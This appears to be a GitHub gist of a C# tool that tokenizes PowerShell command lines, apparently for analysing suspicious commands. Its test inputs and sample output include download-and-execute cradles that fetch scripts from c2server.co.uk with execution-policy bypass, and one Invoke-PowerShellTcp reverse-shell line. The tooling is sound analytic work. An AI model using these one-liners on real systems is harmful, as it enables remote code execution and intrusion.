Created
March 31, 2024 22:14
-
-
Save DiabloHorn/e6ef65867b923b76831556ff0411c9c1 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
namespace DiabloHorn.PowerShell.ParseCommandLine | |
{ | |
/* | |
https://powershell.one/powershell-internals/parsing-and-tokenization/simple-tokenizer | |
https://learn.microsoft.com/en-us/powershell/scripting/developer/hosting/windows-powershell01-sample?view=powershell-7.4 | |
*/ | |
using System; | |
using System.Collections.ObjectModel; | |
//dotnet add package System.Management.Automation (inside folder with .csproj) | |
using System.Management.Automation; | |
using System.Management.Automation.Language; | |
using System.Runtime.CompilerServices; | |
class PSCmdLineToNamedTokens | |
{ | |
static void Main(string[] args) | |
{ | |
String[] testTexts = new string[5]; | |
testTexts[0] = "powershell iex (New-Object Net.WebClient).DownloadString('http://<yourwebserver>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]"; | |
testTexts[1] = "powershell -nop -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://www.c2server.co.uk/script.ps1');\""; | |
testTexts[2] = """powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://c2server.co.uk/script.ps1')|iex" """; | |
testTexts[3] = """powershell.exe -Verb runAs -ArgumentList "-File C:\Scripts\MyScript.ps1" """; | |
testTexts[4] = """powershell.exe -File "C:\Temp\YourScript.ps1" -Noexit"""; | |
if (args.Length == 1) | |
{ | |
String filePath = args[0]; | |
if (!File.Exists(filePath)) | |
{ | |
Console.WriteLine($"File {filePath} not found."); | |
return; | |
} | |
using (StreamReader reader = new StreamReader(filePath)) | |
{ | |
string line; | |
while ((line = reader.ReadLine()) != null) | |
{ | |
List<KeyValuePair<PSTokenType, string>> extractedTokens = TokenizeAndExtractTokens(line); | |
foreach(KeyValuePair<PSTokenType, string> kvp in extractedTokens) | |
{ | |
Console.WriteLine($"[{kvp.Key}] {kvp.Value}"); | |
} | |
} | |
} | |
return; | |
} | |
//var ast = Parser.ParseInput(text, out Token[] tokens, out ParseError[] errors); | |
//Console.WriteLine($"[{tokens[i].Kind}][{tokens[i].TokenFlags}][{tokens[i].GetType()}] {tokens[i].Text}"); | |
foreach(String line in testTexts) | |
{ | |
List<KeyValuePair<PSTokenType, string>> extractedTokens = TokenizeAndExtractTokens(line); | |
foreach(KeyValuePair<PSTokenType, string> kvp in extractedTokens) | |
{ | |
Console.WriteLine($"[{kvp.Key}] {kvp.Value}"); | |
} | |
Console.WriteLine("============================="); | |
} | |
} | |
static List<KeyValuePair<PSTokenType, string>> TokenizeAndExtractTokens(string text) | |
{ | |
var tokenList = new List<KeyValuePair<PSTokenType, string>>(); | |
Collection<PSParseError> errors = null; | |
// Tokenize the text | |
Collection<PSToken> tokens = PSParser.Tokenize(text, out errors); | |
if (tokens.Count > 0) | |
{ | |
for (int i = 0; i < tokens.Count; i++) | |
{ | |
// Extract token type and actual token | |
PSTokenType tokenType = tokens[i].Type; | |
string token = text.Substring(tokens[i].Start, tokens[i].Length); | |
tokenList.Add(new KeyValuePair<PSTokenType, String>(tokenType, token)); | |
} | |
} | |
return tokenList; | |
} | |
} | |
} | |
/* | |
Example Output: | |
[Command] powershell | |
[CommandArgument] iex | |
[GroupStart] ( | |
[Command] New-Object | |
[CommandArgument] Net.WebClient | |
[GroupEnd] ) | |
[Operator] . | |
[Member] DownloadString | |
[GroupStart] ( | |
[String] 'http://<yourwebserver>/Invoke-PowerShellTcp.ps1' | |
[GroupEnd] ) | |
[StatementSeparator] ; | |
[Command] Invoke-PowerShellTcp | |
[CommandParameter] -Reverse | |
[CommandParameter] -IPAddress | |
[CommandArgument] [IP] | |
[CommandParameter] -Port | |
[CommandArgument] [PortNo.] | |
============================= | |
[Command] powershell | |
[CommandParameter] -nop | |
[CommandParameter] -exec | |
[CommandArgument] bypass | |
[CommandParameter] -c | |
[String] "IEX (New-Object Net.WebClient).DownloadString('http://www.c2server.co.uk/script.ps1');" | |
============================= | |
[Command] powershell | |
[CommandParameter] -exec | |
[CommandArgument] bypass | |
[CommandParameter] -c | |
[String] "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://c2server.co.uk/script.ps1')|iex" | |
============================= | |
[Command] powershell.exe | |
[CommandParameter] -Verb | |
[CommandArgument] runAs | |
[CommandParameter] -ArgumentList | |
[String] "-File C:\Scripts\MyScript.ps1" | |
============================= | |
[Command] powershell.exe | |
[CommandParameter] -File | |
[String] "C:\Temp\YourScript.ps1" | |
[CommandParameter] -Noexit | |
============================= | |
*/ |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment